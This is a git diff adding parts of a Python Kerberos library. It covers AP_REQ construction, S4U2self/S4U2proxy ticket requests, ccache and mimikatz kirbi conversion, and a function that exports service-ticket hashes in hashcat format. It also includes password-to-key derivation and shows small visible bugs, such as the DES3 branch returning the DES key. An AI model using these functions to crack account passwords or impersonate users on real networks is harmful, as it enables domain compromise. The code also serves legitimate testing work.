+		now = datetime.datetime.now(datetime.timezone.utc)
+		authenticator_data = {}
+		authenticator_data['authenticator-vno'] = krb5_pvno
+		authenticator_data['crealm'] = Realm(crealm)
+		authenticator_data['cname'] = PrincipalName({'name-type': NAME_TYPE.PRINCIPAL.value, 'name-string': [cname]})
+		authenticator_data['cusec'] = now.microsecond
+		authenticator_data['ctime'] = now.replace(microsecond=0)
+		if flags is not None:
+			ac = AuthenticatorChecksum()
+			ac.flags = flags
+			ac.channel_binding = b'\x00'*16
+			
+			chksum = {}
+			chksum['cksumtype'] = 0x8003
+			chksum['checksum'] = ac.to_bytes()
+			
+			authenticator_data['cksum'] = Checksum(chksum)
+			authenticator_data['seq-number'] = seq_number
+		
+		cipher = _enctype_table[sessionkey.enctype]
+		authenticator_data_enc = cipher.encrypt(sessionkey, 11, Authenticator(authenticator_data).dump(), None)
+		
+		ap_req = {}
+		ap_req['pvno'] = krb5_pvno
+		ap_req['msg-type'] = MESSAGE_TYPE.KRB_AP_REQ.value
+		ap_req['ticket'] = Ticket.load(ticket_data)
+		ap_req['ap-options'] = APOptions(set(ap_opts))
+		ap_req['authenticator'] = EncryptedData({'etype': sessionkey.enctype, 'cipher': authenticator_data_enc})
+
+		return AP_REQ(ap_req).dump()
+		
+
+	def getST(self, target_user, service_spn):
+		tgs, encTGSRepPart, key = self.S4U2self(target_user)
+		return self.S4U2proxy(tgs['ticket'], service_spn)
diff --git a/minikerberos/common/__init__.py b/minikerberos/common/__init__.py
new file mode 100644
index 0000000..e69de29
diff --git a/minikerberos/common/ccache.py b/minikerberos/common/ccache.py
new file mode 100644
index 0000000..1804191
--- /dev/null
+++ b/minikerberos/common/ccache.py
@@ -0,0 +1,739 @@
+#!/usr/bin/env python3
+#
+# Author:
+#  Tamas Jos (@skelsec)
+#
+
+import os
+import io
+import datetime
+import glob
+import hashlib
+
+from minikerberos.protocol.asn1_structs import Ticket, EncryptedData, \
+	krb5_pvno, KrbCredInfo, EncryptionKey, KRBCRED, TicketFlags, EncKrbCredPart
+from minikerberos.common.utils import dt_to_kerbtime, TGSTicket2hashcat
+from minikerberos.protocol.constants import EncryptionType, MESSAGE_TYPE
+from minikerberos import logger
+from asn1crypto import core
+
+
+
+# http://repo.or.cz/w/krb5dissect.git/blob_plain/HEAD:/ccache.txt
+class Header:
+	def __init__(self):
+		self.tag = None
+		self.taglen = None
+		self.tagdata = None
+		
+	@staticmethod
+	def parse(data):
+		"""
+		returns a list of header tags
+		"""
+		reader = io.BytesIO(data)
+		headers = []
+		while reader.tell() < len(data):
+			h = Header()
+			h.tag = int.from_bytes(reader.read(2), byteorder='big', signed=False)
+			h.taglen = int.from_bytes(reader.read(2), byteorder='big', signed=False)
+			h.tagdata = reader.read(h.taglen)
+			headers.append(h)
+		return headers
+		
+	def to_bytes(self):
+		t =  self.tag.to_bytes(2, byteorder='big', signed=False)
+		t += len(self.tagdata).to_bytes(2, byteorder='big', signed=False)
+		t += self.tagdata
+		return t
+		
+	def __str__(self):
+		t = 'tag: %s\n' % self.tag
+		t += 'taglen: %s\n' % self.taglen
+		t += 'tagdata: %s\n' % self.tagdata
+		return t
+
+class DateTime:
+	def __init__(self):
+		self.time_offset = None
+		self.usec_offset = None
+	
+	@staticmethod
+	def parse(reader):
+		d = DateTime()
+		d.time_offset = int.from_bytes(reader.read(4), byteorder='big', signed=False)
+		d.usec_offset = int.from_bytes(reader.read(4), byteorder='big', signed=False)
+		return d
+		
+	def to_bytes(self):
+		t =  self.time_offset.to_bytes(4, byteorder='big', signed=False)
+		t += self.usec_offset.to_bytes(4, byteorder='big', signed=False)
+		return t
+		
+
+		
+class Credential:
+	def __init__(self):
+		self.client = None
+		self.server = None
+		self.key = None
+		self.time = None
+		self.is_skey = None
+		self.tktflags = None
+		self.num_address = None
+		self.addrs = []
+		self.num_authdata = None
+		self.authdata = []
+		self.ticket = None
+		self.second_ticket = None
+
+	def to_hash(self):
+		res = Ticket.load(self.ticket.to_asn1()).native
+		tgs_encryption_type    = int(res['enc-part']['etype'])
+		t = len(res['sname']['name-string'])
+		if t == 1:
+			tgs_name_string        = res['sname']['name-string'][0]
+		else:
+			tgs_name_string        = res['sname']['name-string'][1]
+		tgs_realm              = res['realm']
+		if tgs_encryption_type == EncryptionType.AES256_CTS_HMAC_SHA1_96.value:
+			tgs_checksum           = res['enc-part']['cipher'][-12:]
+			tgs_encrypted_data2    = res['enc-part']['cipher'][:-12]
+			return '$krb5tgs$%s$%s$%s$%s$%s' % (tgs_encryption_type,tgs_name_string,tgs_realm, tgs_checksum.hex(), tgs_encrypted_data2.hex() )
+		else:
+			tgs_checksum           = res['enc-part']['cipher'][:16]
+			tgs_encrypted_data2    = res['enc-part']['cipher'][16:]
+			return '$krb5tgs$%s$*%s$%s$spn*$%s$%s' % (tgs_encryption_type,tgs_name_string,tgs_realm, tgs_checksum.hex(), tgs_encrypted_data2.hex() )
+
+	def to_tgt(self):
+		"""
+		Returns the native format of an AS_REP message and the sessionkey in EncryptionKey native format
+		"""
+		enc_part = EncryptedData({'etype': 1, 'cipher': b''})
+		
+		tgt_rep = {}
+		tgt_rep['pvno'] = krb5_pvno
+		tgt_rep['msg-type'] = MESSAGE_TYPE.KRB_AS_REP.value
+		tgt_rep['crealm'] = self.server.realm.to_string()
+		tgt_rep['cname'] = self.client.to_asn1()[0]
+		tgt_rep['ticket'] = Ticket.load(self.ticket.to_asn1()).native
+		tgt_rep['enc-part'] = enc_part.native
+
+		t = EncryptionKey(self.key.to_asn1()).native
+		
+		return tgt_rep, t
+
+	def to_tgs(self):
+		"""
+		Returns the native format of an AS_REP message and the sessionkey in EncryptionKey native format
+		"""
+		enc_part = EncryptedData({'etype': 1, 'cipher': b''})
+		
+		tgt_rep = {}
+		tgt_rep['pvno'] = krb5_pvno
+		tgt_rep['msg-type'] = MESSAGE_TYPE.KRB_AS_REP.value
+		tgt_rep['crealm'] = self.server.realm.to_string()
+		tgt_rep['cname'] = self.client.to_asn1()[0]
+		tgt_rep['ticket'] = Ticket.load(self.ticket.to_asn1()).native
+		tgt_rep['enc-part'] = enc_part.native
+
+		t = EncryptionKey(self.key.to_asn1()).native
+		
+		return tgt_rep, t
+		
+	def to_kirbi(self):
+		filename = '%s@%s_%s' % (self.client.to_string() , self.server.to_string(), hashlib.sha1(self.ticket.to_asn1()).hexdigest()[:8])
+		krbcredinfo = {}
+		krbcredinfo['key'] = EncryptionKey(self.key.to_asn1())
+		krbcredinfo['prealm'] = self.client.realm.to_string()
+		krbcredinfo['pname'] = self.client.to_asn1()[0]
+		krbcredinfo['flags'] = core.IntegerBitString(self.tktflags).cast(TicketFlags)
+		if self.time.authtime != 0: #this parameter is not mandatory, and most of the time not present
+			krbcredinfo['authtime'] = datetime.datetime.fromtimestamp(self.time.authtime, datetime.timezone.utc)
+		if self.time.starttime != 0:
+			krbcredinfo['starttime'] = datetime.datetime.fromtimestamp(self.time.starttime, datetime.timezone.utc)
+		if self.time.endtime != 0:
+			krbcredinfo['endtime'] = datetime.datetime.fromtimestamp(self.time.endtime, datetime.timezone.utc)
+		if self.time.renew_till != 0: #this parameter is not mandatory, and sometimes it's not present
+			krbcredinfo['renew-till'] = datetime.datetime.fromtimestamp(self.time.authtime, datetime.timezone.utc)
+		krbcredinfo['srealm'] = self.server.realm.to_string()
+		krbcredinfo['sname'] = self.server.to_asn1()[0]
+		
+		enc_krbcred = {}
+		enc_krbcred['ticket-info'] = [KrbCredInfo(krbcredinfo)]
+		
+		krbcred = {}
+		krbcred['pvno'] = krb5_pvno
+		krbcred['msg-type'] = MESSAGE_TYPE.KRB_CRED.value
+		krbcred['tickets'] = [Ticket.load(self.ticket.to_asn1())]
+		krbcred['enc-part'] = EncryptedData({'etype': EncryptionType.NULL.value, 'cipher': EncKrbCredPart(enc_krbcred).dump()})
+	
+	
+	
+		kirbi = KRBCRED(krbcred)
+		return kirbi, filename
+
+	@staticmethod
+	def from_asn1(ticket, data):
+		###
+		# data  = KrbCredInfo 
+		###
+		c = Credential()
+		c.client = CCACHEPrincipal.from_asn1(data['pname'], data['prealm'])
+		c.server = CCACHEPrincipal.from_asn1(data['sname'], data['srealm'])
+		c.key = Keyblock.from_asn1(data['key'])
+		c.is_skey = 0 #not sure!
+		
+		c.tktflags = TicketFlags(data['flags']).cast(core.IntegerBitString).native
+		c.num_address = 0
+		c.num_authdata = 0
+		c.ticket = CCACHEOctetString.from_asn1(ticket['enc-part']['cipher'])
+		c.second_ticket = CCACHEOctetString.empty()
+		return c
+	
+	@staticmethod
+	def parse(reader):
+		c = Credential()
+		c.client = CCACHEPrincipal.parse(reader)
+		c.server = CCACHEPrincipal.parse(reader)
+		c.key = Keyblock.parse(reader)
+		c.time = Times.parse(reader)
+		c.is_skey = int.from_bytes(reader.read(1), byteorder='big', signed=False)
+		c.tktflags = int.from_bytes(reader.read(4), byteorder='little', signed=False)
+		c.num_address = int.from_bytes(reader.read(4), byteorder='big', signed=False)
+		for _ in range(c.num_address):
+			c.addrs.append(Address.parse(reader))
+		c.num_authdata = int.from_bytes(reader.read(4), byteorder='big', signed=False)
+		for _ in range(c.num_authdata):
+			c.authdata.append(Authdata.parse(reader))
+		c.ticket = CCACHEOctetString.parse(reader)
+		c.second_ticket = CCACHEOctetString.parse(reader)
+		return c
+	
+	@staticmethod
+	def summary_header():
+		return ['client','server','starttime','endtime','renew-till']
+		
+	def summary(self):
+		return [ 
+			'%s@%s' % 	(self.client.to_string(separator='/'),self.client.realm.to_string()), 
+			'%s@%s' % 	(self.server.to_string(separator='/'), self.server.realm.to_string()),
+			datetime.datetime.fromtimestamp(self.time.starttime).isoformat() if self.time.starttime != 0 else 'N/A',
+			datetime.datetime.fromtimestamp(self.time.endtime).isoformat() if self.time.endtime != 0 else 'N/A',
+			datetime.datetime.fromtimestamp(self.time.renew_till).isoformat() if self.time.renew_till != 0 else 'N/A',
+		
+		]
+		
+	def to_bytes(self):
+		t =  self.client.to_bytes()
+		t += self.server.to_bytes()
+		t += self.key.to_bytes()
+		t += self.time.to_bytes()
+		t += self.is_skey.to_bytes(1, byteorder='big', signed=False)
+		t += self.tktflags.to_bytes(4, byteorder='little', signed=False)
+		t += self.num_address.to_bytes(4, byteorder='big', signed=False)
+		for addr in self.addrs:
+			t += addr.to_bytes()
+		t += self.num_authdata.to_bytes(4, byteorder='big', signed=False)
+		for ad in self.authdata:
+			t += ad.to_bytes()
+		t += self.ticket.to_bytes()
+		t += self.second_ticket.to_bytes()
+		return t
+		
+class Keyblock:
+	def __init__(self):
+		self.keytype = None
+		self.etype = None
+		self.keylen = None
+		self.keyvalue = None
+	
+	@staticmethod
+	def from_asn1(data):
+		k = Keyblock()
+		k.keytype = data['keytype']
+		k.etype = 0 # not sure
+		k.keylen = len(data['keyvalue'])
+		k.keyvalue = data['keyvalue']
+		
+		return k
+		
+	def to_asn1(self):
+		t = {}
+		t['keytype'] = self.keytype
+		t['keyvalue'] = self.keyvalue
+		
+		return t
+	
+	@staticmethod
+	def parse(reader):
+		k = Keyblock()
+		k.keytype = int.from_bytes(reader.read(2), byteorder='big', signed=False)
+		k.etype = int.from_bytes(reader.read(2), byteorder='big', signed=False)
+		k.keylen = int.from_bytes(reader.read(2), byteorder='big', signed=False)
+		k.keyvalue = reader.read(k.keylen)
+		return k
+		
+	def to_bytes(self):
+		t = self.keytype.to_bytes(2, byteorder='big', signed=False)
+		t += self.etype.to_bytes(2, byteorder='big', signed=False)
+		t += self.keylen.to_bytes(2, byteorder='big', signed=False)
+		t += self.keyvalue
+		return t
+		
+		
+class Times:
+	def __init__(self):
+		self.authtime = None
+		self.starttime = None
+		self.endtime = None
+		self.renew_till = None
+	
+	@staticmethod
+	def from_asn1(enc_as_rep_part):
+		t = Times()
+		t.authtime = dt_to_kerbtime(enc_as_rep_part['authtime']) \
+			if 'authtime' in enc_as_rep_part and enc_as_rep_part['authtime'] else 0
+		t.starttime = dt_to_kerbtime(enc_as_rep_part['starttime']) \
+			if 'starttime' in enc_as_rep_part and enc_as_rep_part['starttime'] else 0
+		t.endtime = dt_to_kerbtime(enc_as_rep_part['endtime']) \
+			if 'endtime' in enc_as_rep_part and enc_as_rep_part['endtime'] else 0
+		t.renew_till = dt_to_kerbtime(enc_as_rep_part['renew_till']) \
+			if 'renew_till' in enc_as_rep_part and enc_as_rep_part['renew_till'] else 0
+		return t
+	
+	@staticmethod
+	def dummy_time(start= datetime.datetime.now(datetime.timezone.utc)):
+		t = Times()
+		t.authtime = dt_to_kerbtime(start)
+		t.starttime = dt_to_kerbtime(start )
+		t.endtime = dt_to_kerbtime(start + datetime.timedelta(days=1))
+		t.renew_till = dt_to_kerbtime(start + datetime.timedelta(days=2))
+		return t
+	
+	@staticmethod
+	def parse(reader):
+		t = Times()
+		t.authtime = int.from_bytes(reader.read(4), byteorder='big', signed=False)
+		t.starttime = int.from_bytes(reader.read(4), byteorder='big', signed=False)
+		t.endtime = int.from_bytes(reader.read(4), byteorder='big', signed=False)
+		t.renew_till = int.from_bytes(reader.read(4), byteorder='big', signed=False)
+		return t
+		
+	def to_bytes(self):
+		t = self.authtime.to_bytes(4, byteorder='big', signed=False)
+		t += self.starttime.to_bytes(4, byteorder='big', signed=False)
+		t += self.endtime.to_bytes(4, byteorder='big', signed=False)
+		t += self.renew_till.to_bytes(4, byteorder='big', signed=False)
+		return t
+		
+class Address:
+	def __init__(self):
+		self.addrtype = None
+		self.addrdata = None
+	
+	@staticmethod
+	def parse(reader):
+		a = Address()
+		a.addrtype = int.from_bytes(reader.read(2), byteorder='big', signed=False)
+		a.addrdata = CCACHEOctetString.parse(reader)
+		return a
+		
+	def to_bytes(self):
+		t = self.addrtype.to_bytes(2, byteorder='big', signed=False)
+		t += self.addrdata.to_bytes()
+		return t
+		
+class Authdata:
+	def __init__(self):
+		self.authtype = None
+		self.authdata = None
+	
+	@staticmethod
+	def parse(reader):
+		a = Authdata()
+		a.authtype = int.from_bytes(reader.read(2), byteorder='big', signed=False)
+		a.authdata = CCACHEOctetString.parse(reader)
+		return a
+		
+	def to_bytes(self):
+		t = self.authtype.to_bytes(2, byteorder='big', signed=False)
+		t += self.authdata.to_bytes()
+		return t
+		
+class CCACHEPrincipal:
+	def __init__(self):
+		self.name_type = None
+		self.num_components = None
+		self.realm = None
+		self.components = []
+	
+	@staticmethod
+	def from_asn1(principal, realm):
+		p = CCACHEPrincipal()
+		p.name_type = principal['name-type']
+		p.num_components = len(principal['name-string'])
+		p.realm = CCACHEOctetString.from_string(realm)
+		for comp in principal['name-string']:
+			p.components.append(CCACHEOctetString.from_asn1(comp))
+			
+		return p
+	
+	@staticmethod
+	def dummy():
+		p = CCACHEPrincipal()
+		p.name_type = 1
+		p.num_components = 1
+		p.realm = CCACHEOctetString.from_string('kerbi.corp')
+		for _ in range(1):
+			p.components.append(CCACHEOctetString.from_string('kerbi'))
+			
+		return p
+		
+	def to_string(self, separator = '-'):
+		return separator.join([c.to_string() for c in self.components])
+		
+	def to_asn1(self):
+		t = {'name-type': self.name_type, 'name-string': [name.to_string() for name in self.components]}
+		return t, self.realm.to_string()		
+	
+	@staticmethod
+	def parse(reader):
+		p = CCACHEPrincipal()
+		p.name_type = int.from_bytes(reader.read(4), byteorder='big', signed=False)
+		p.num_components = int.from_bytes(reader.read(4), byteorder='big', signed=False)
+		p.realm = CCACHEOctetString.parse(reader)
+		for _ in range(p.num_components):
+			p.components.append(CCACHEOctetString.parse(reader))
+		return p
+		
+	def to_bytes(self):
+		t = self.name_type.to_bytes(4, byteorder='big', signed=False)
+		t += len(self.components).to_bytes(4, byteorder='big', signed=False)
+		t += self.realm.to_bytes()
+		for com in self.components:
+			t += com.to_bytes()
+		return t
+		
+class CCACHEOctetString:
+	def __init__(self):
+		self.length = None
+		self.data = None
+	
+	@staticmethod
+	def empty():
+		o = CCACHEOctetString()
+		o.length = 0
+		o.data = b''
+		return o
+		
+	def to_asn1(self):
+		return self.data
+		
+	def to_string(self):
+		return self.data.decode()
+	
+	@staticmethod
+	def from_string(data):
+		o = CCACHEOctetString()
+		o.data = data.encode()
+		o.length = len(o.data)
+		return o
+	
+	@staticmethod
+	def from_asn1(data):
+		o = CCACHEOctetString()
+		o.length = len(data)
+		if isinstance(data,str):
+			o.data = data.encode()
+		else:
+			o.data = data
+		return o
+	
+	@staticmethod
+	def parse(reader):
+		o = CCACHEOctetString()
+		o.length = int.from_bytes(reader.read(4), byteorder='big', signed=False)
+		o.data = reader.read(o.length)
+		return o
+		
+	def to_bytes(self):
+		if isinstance(self.data,str):
+			self.data = self.data.encode()
+			self.length = len(self.data)
+		t = len(self.data).to_bytes(4, byteorder='big', signed=False)
+		t += self.data
+		return t
+		
+		
+class CCACHE:
+	"""
+	As the header is rarely used -mostly static- you'd need to init this object with empty = True to get an object without header already present
+	"""
+	def __init__(self, empty = False):
+		self.file_format_version = None #0x0504
+		self.headers = []
+		self.primary_principal = None
+		self.credentials = []
+		
+		if empty == False:
+			self.__setup()
+		
+	def __setup(self):
+		self.file_format_version = 0x0504
+		
+		header = Header()
+		header.tag = 1
+		header.taglen = 8
+		#header.tagdata = b'\xff\xff\xff\xff\x00\x00\x00\x00'
+		header.tagdata = b'\x00\x00\x00\x00\x00\x00\x00\x00'
+		self.headers.append(header)
+		
+		#t_hdr = b''
+		#for header in self.headers:
+		#	t_hdr += header.to_bytes()
+		#self.headerlen = 1 #size of the entire header in bytes, encoded in 2 byte big-endian unsigned int
+		
+		self.primary_principal = CCACHEPrincipal.dummy()
+		
+	def __str__(self):
+		t = '== CCACHE ==\n'
+		t+= 'file_format_version : %s\n' % self.file_format_version
+		for header in self.headers:
+			t+= '%s\n' % header
+		t+= 'primary_principal : %s\n' % self.primary_principal
+		return t
+		
+	def add_tgt(self, as_rep, enc_as_rep_part, override_pp = True): #from AS_REP
+		"""
+		Creates credential object from the TGT and adds to the ccache file
+		The TGT is basically the native representation of the asn1 encoded AS_REP data that the AD sends upon a succsessful TGT request.
+		
+		This function doesn't do decryption of the encrypted part of the as_rep object, it is expected that the decrypted XXX is supplied in enc_as_rep_part
+		
+		override_pp: bool to determine if client principal should be used as the primary principal for the ccache file
+		"""
+		c = Credential()
+		c.client = CCACHEPrincipal.from_asn1(as_rep['cname'], as_rep['crealm'])
+		if override_pp == True:
+			self.primary_principal = c.client
+		c.server = CCACHEPrincipal.from_asn1(enc_as_rep_part['sname'], enc_as_rep_part['srealm'])
+		c.time = Times.from_asn1(enc_as_rep_part)
+		c.key = Keyblock.from_asn1(enc_as_rep_part['key'])
+		c.is_skey = 0 #not sure!
+		
+		c.tktflags = TicketFlags(enc_as_rep_part['flags']).cast(core.IntegerBitString).native
+		c.num_address = 0
+		c.num_authdata = 0
+		c.ticket = CCACHEOctetString.from_asn1(Ticket(as_rep['ticket']).dump())
+		c.second_ticket = CCACHEOctetString.empty()
+		
+		self.credentials.append(c)
+		
+	def add_tgs(self, tgs_rep, enc_tgs_rep_part, override_pp = False): #from AS_REP
+		"""
+		Creates credential object from the TGS and adds to the ccache file
+		The TGS is the native representation of the asn1 encoded TGS_REP data when the user requests a tgs to a specific service principal with a valid TGT
+		
+		This function doesn't do decryption of the encrypted part of the tgs_rep object, it is expected that the decrypted XXX is supplied in enc_as_rep_part
+		
+		override_pp: bool to determine if client principal should be used as the primary principal for the ccache file
+		"""
+		c = Credential()
+		c.client = CCACHEPrincipal.from_asn1(tgs_rep['cname'], tgs_rep['crealm'])
+		if override_pp == True:
+			self.primary_principal = c.client
+		c.server = CCACHEPrincipal.from_asn1(enc_tgs_rep_part['sname'], enc_tgs_rep_part['srealm'])
+		c.time = Times.from_asn1(enc_tgs_rep_part)
+		c.key = Keyblock.from_asn1(enc_tgs_rep_part['key'])
+		c.is_skey = 0 #not sure!
+		
+		c.tktflags = TicketFlags(enc_tgs_rep_part['flags']).cast(core.IntegerBitString).native
+		c.num_address = 0
+		c.num_authdata = 0
+		c.ticket = CCACHEOctetString.from_asn1(Ticket(tgs_rep['ticket']).dump())
+		c.second_ticket = CCACHEOctetString.empty()
+		
+		self.credentials.append(c)
+	
+		
+	def add_kirbi(self, krbcred, override_pp = True, include_expired = False):
+		c = Credential()
+		enc_credinfo = EncKrbCredPart.load(krbcred['enc-part']['cipher']).native
+		ticket_info = enc_credinfo['ticket-info'][0]
+		
+		"""
+		if ticket_info['endtime'] < datetime.datetime.now(datetime.timezone.utc):
+			if include_expired == True:
+				logging.debug('This ticket has most likely expired, but include_expired is forcing me to add it to cache! This can cause problems!')
+			else:
+				logging.debug('This ticket has most likely expired, skipping')
+				return
+		"""
+		
+		c.client = CCACHEPrincipal.from_asn1(ticket_info['pname'], ticket_info['prealm'])
+		if override_pp == True:
+			self.primary_principal = c.client
+		
+		#yaaaaay 4 additional weirdness!!!!
+		#if sname name-string contains a realm as well htne impacket will crash miserably :(
+		if len(ticket_info['sname']['name-string']) > 2 and ticket_info['sname']['name-string'][-1].upper() == ticket_info['srealm'].upper():
+			logger.debug('SNAME contains the realm as well, trimming it')
+			t = ticket_info['sname']
+			t['name-string'] = t['name-string'][:-1]
+			c.server = CCACHEPrincipal.from_asn1(t, ticket_info['srealm'])
+		else:
+			c.server = CCACHEPrincipal.from_asn1(ticket_info['sname'], ticket_info['srealm'])
+		
+		
+		c.time = Times.from_asn1(ticket_info)
+		c.key = Keyblock.from_asn1(ticket_info['key'])
+		c.is_skey = 0 #not sure!
+		
+		c.tktflags = TicketFlags(ticket_info['flags']).cast(core.IntegerBitString).native
+		c.num_address = 0
+		c.num_authdata = 0
+		c.ticket = CCACHEOctetString.from_asn1(Ticket(krbcred['tickets'][0]).dump()) #kirbi only stores one ticket per file
+		c.second_ticket = CCACHEOctetString.empty()
+		
+		self.credentials.append(c)
+		
+	@staticmethod
+	def from_kirbi(kirbidata):
+		kirbi = KRBCRED.load(kirbidata).native
+		cc = CCACHE()
+		cc.add_kirbi(kirbi)		
+		return cc
+
+	def get_all_tgt(self):
+		"""
+		Returns a list of AS_REP tickets in native format (dict). 
+		To determine which ticket are AP_REP we check for the server principal to be the kerberos service
+		"""
+		tgts = []
+		for cred in self.credentials:
+			if cred.server.to_string(separator = '/').lower().find('krbtgt') != -1:
+				tgts.append(cred.to_tgt())
+
+		return tgts
+
+	def get_all_tgs(self):
+		tgss = []
+		for cred in self.credentials:
+			if cred.server.to_string(separator = '/').lower().find('krbtgt') == -1:
+				tgss.append(cred.to_tgs())
+
+		return tgss
+
+	def get_hashes(self, all_hashes = False):
+		"""
+		Returns a list of hashes in hashcat-firendly format for tickets with encryption type 23 (which is RC4)
+		all_hashes: overrides the encryption type filtering and returns hash for all tickets
+
+		"""
+		hashes = []
+		for cred in self.credentials:
+			res = Ticket.load(cred.ticket.to_asn1()).native
+			if int(res['enc-part']['etype']) == 23 or all_hashes == True:
+				hashes.append(cred.to_hash())
+
+		return hashes
+		
+	@staticmethod
+	def parse(reader):
+		c = CCACHE(True)
+		c.file_format_version = int.from_bytes(reader.read(2), byteorder='big', signed=False)
+		
+		hdr_size = int.from_bytes(reader.read(2), byteorder='big', signed=False)
+		c.headers = Header.parse(reader.read(hdr_size))
+		
+		#c.headerlen = 
+		#for i in range(c.headerlen):
+		#	c.headers.append(Header.parse(reader))
+		
+		
+		c.primary_principal = CCACHEPrincipal.parse(reader)
+		pos = reader.tell()
+		reader.seek(-1,2)
+		eof = reader.tell()
+		reader.seek(pos,0)
+		while reader.tell() < eof:
+			cred = Credential.parse(reader)
+			if not (len(cred.server.components) > 0 and cred.server.components[0].to_string() == 'krb5_ccache_conf_data'
+			and cred.server.realm.to_string() == 'X-CACHECONF:'):
+				c.credentials.append(cred)
+		
+		return c
+		
+	def to_bytes(self):
+		t = self.file_format_version.to_bytes(2, byteorder='big', signed=False)
+		
+		t_hdr = b''
+		for header in self.headers:
+			t_hdr += header.to_bytes()
+		
+		t += len(t_hdr).to_bytes(2, byteorder='big', signed=False)
+		t += t_hdr
+		
+		t += self.primary_principal.to_bytes()
+		for cred in self.credentials:
+			t += cred.to_bytes()
+		return t
+	
+	@staticmethod
+	def from_kirbifile(kirbi_filename):
+		kf_abs = os.path.abspath(kirbi_filename)
+		kirbidata = None
+		with open(kf_abs, 'rb') as f:
+			kirbidata = f.read()
+			
+		return CCACHE.from_kirbi(kirbidata)
+	
+	@staticmethod
+	def from_kirbidir(directory_path):
+		"""
+		Iterates trough all .kirbi files in a given directory and converts all of them into one CCACHE object
+		"""
+		cc = CCACHE()
+		dir_path = os.path.join(os.path.abspath(directory_path), '*.kirbi')
+		for filename in glob.glob(dir_path):
+			with open(filename, 'rb') as f:
+				kirbidata = f.read()
+				kirbi = KRBCRED.load(kirbidata).native
+				cc.add_kirbi(kirbi)
+		
+		return cc
+		
+	def to_kirbidir(self, directory_path):
+		"""
+		Converts all credential object in the CCACHE object to the kirbi file format used by mimikatz.
+		The kirbi file format supports one credential per file, so prepare for a lot of files being generated.
+		
+		directory_path: str the directory to write the kirbi files to
+		"""
+		kf_abs = os.path.abspath(directory_path)
+		for cred in self.credentials:
+			kirbi, filename = cred.to_kirbi()
+			filename = '%s.kirbi' % filename.replace('..','!')
+			filepath = os.path.join(kf_abs, filename)
+			with open(filepath, 'wb') as o:
+				o.write(kirbi.dump())
+	
+	@staticmethod
+	def from_file(filename):
+		"""
+		Parses the ccache file and returns a CCACHE object
+		"""
+		with open(filename, 'rb') as f:
+			return CCACHE.parse(f)
+			
+	def to_file(self, filename):
+		"""
+		Writes the contents of the CCACHE object to a file
+		"""
+		with open(filename, 'wb') as f:
+			f.write(self.to_bytes())
+		
+	@staticmethod
+	def from_bytes(data):
+		return CCACHE.parse(io.BytesIO(data))
\ No newline at end of file
diff --git a/minikerberos/common/constants.py b/minikerberos/common/constants.py
new file mode 100644
index 0000000..64ae24d
--- /dev/null
+++ b/minikerberos/common/constants.py
@@ -0,0 +1,20 @@
+import enum
+
+class KerberosSocketType(enum.Enum):
+	UDP = enum.auto()
+	TCP = enum.auto()	
+
+class KerberosSecretType(enum.Enum):
+	PASSWORD = 'PASSWORD'
+	PW = 'PW'
+	PASS = 'PASS'
+	NT = 'NT'
+	AES = 'AES' #keeping this here for user's secret-type specification and compatibility reasons
+	AES128 = 'AES128'
+	AES256 = 'AES256'
+	RC4 = 'RC4'
+	DES = 'DES'
+	DES3 = 'DES3'
+	TDES = 'TDES'
+	CCACHE = 'CCACHE'
+	KEYTAB = 'KEYTAB'
\ No newline at end of file
diff --git a/minikerberos/common/creds.py b/minikerberos/common/creds.py
new file mode 100644
index 0000000..e82e204
--- /dev/null
+++ b/minikerberos/common/creds.py
@@ -0,0 +1,213 @@
+#!/usr/bin/env python3
+#
+# Author:
+#  Tamas Jos (@skelsec)
+#
+
+import getpass
+import hashlib
+import collections
+
+from minikerberos.common.constants import KerberosSecretType
+from minikerberos.protocol.encryption import string_to_key, Enctype
+from minikerberos.protocol.constants import EncryptionType
+from minikerberos.common.ccache import CCACHE
+from minikerberos.common.keytab import Keytab
+from minikerberos.crypto.hashing import md4
+
+
+class KerberosCredential:
+	def __init__(self):
+		self.username = None
+		self.domain = None
+		self.password = None
+		self.nt_hash = None
+		self.lm_hash = None
+		self.kerberos_key_aes_256 = None
+		self.kerberos_key_aes_128 = None
+		self.kerberos_key_des = None
+		self.kerberos_key_rc4 = None
+		self.kerberos_key_des3 = None
+		self.ccache = None
+
+	def get_preferred_enctype(self, server_enctypes):
+		client_enctypes = self.get_supported_enctypes(as_int=False)
+		common_enctypes = list(set([s_enctype for s_enctype in server_enctypes]) & set(client_enctypes))
+
+		for c_enctype in client_enctypes:
+			if c_enctype in common_enctypes:
+				return c_enctype
+
+		raise Exception('No common supported enctypes! Server: %s Client: %s' % (
+			', '.join([s_enctype.name for s_enctype in server_enctypes]),
+			', '.join([c_enctype.name for c_enctype in client_enctypes])
+		)
+						)
+
+	def get_key_for_enctype(self, etype, salt = None):
+		"""
+		Returns the encryption key bytes for the enctryption type.
+		"""
+		if etype == EncryptionType.AES256_CTS_HMAC_SHA1_96:
+			if self.kerberos_key_aes_256:
+				return bytes.fromhex(self.kerberos_key_aes_256)
+			if self.password is not None:
+				if not salt:
+					salt = (self.domain.upper() + self.username).encode()
+				return string_to_key(Enctype.AES256, self.password.encode(), salt).contents
+			raise Exception('There is no key for AES256 encryption')
+		elif etype == EncryptionType.AES128_CTS_HMAC_SHA1_96:
+			if self.kerberos_key_aes_128:
+				return bytes.fromhex(self.kerberos_key_aes_128)
+			if self.password is not None:
+				if not salt:
+					salt = (self.domain.upper() + self.username).encode()
+				return string_to_key(Enctype.AES128, self.password.encode(), salt).contents
+			raise Exception('There is no key for AES128 encryption')
+		elif etype == EncryptionType.ARCFOUR_HMAC_MD5:
+			if self.kerberos_key_rc4:
+				return bytes.fromhex(self.kerberos_key_rc4)
+			if self.nt_hash:
+				return bytes.fromhex(self.nt_hash)
+			elif self.password:
+				self.nt_hash = md4(self.password.encode('utf-16-le')).hexdigest().upper()
+				#self.nt_hash = hashlib.new('md4', self.password.encode('utf-16-le')).hexdigest().upper()
+				return bytes.fromhex(self.nt_hash)
+			else:
+				raise Exception('There is no key for RC4 encryption')
+		elif etype == EncryptionType.DES3_CBC_SHA1:
+			if self.kerberos_key_des3:
+				return bytes.fromhex(self.kerberos_key_des)
+			elif self.password:
+				if not salt:
+					salt = (self.domain.upper() + self.username).encode()
+				return string_to_key(Enctype.DES3, self.password.encode(), salt).contents
+			else:
+				raise Exception('There is no key for DES3 encryption')
+
+		elif etype == EncryptionType.DES_CBC_MD5: #etype == EncryptionType.DES_CBC_CRC or etype == EncryptionType.DES_CBC_MD4 or 
+			if self.kerberos_key_des:
+				return bytes.fromhex(self.kerberos_key_des)
+			elif self.password:
+				if not salt:
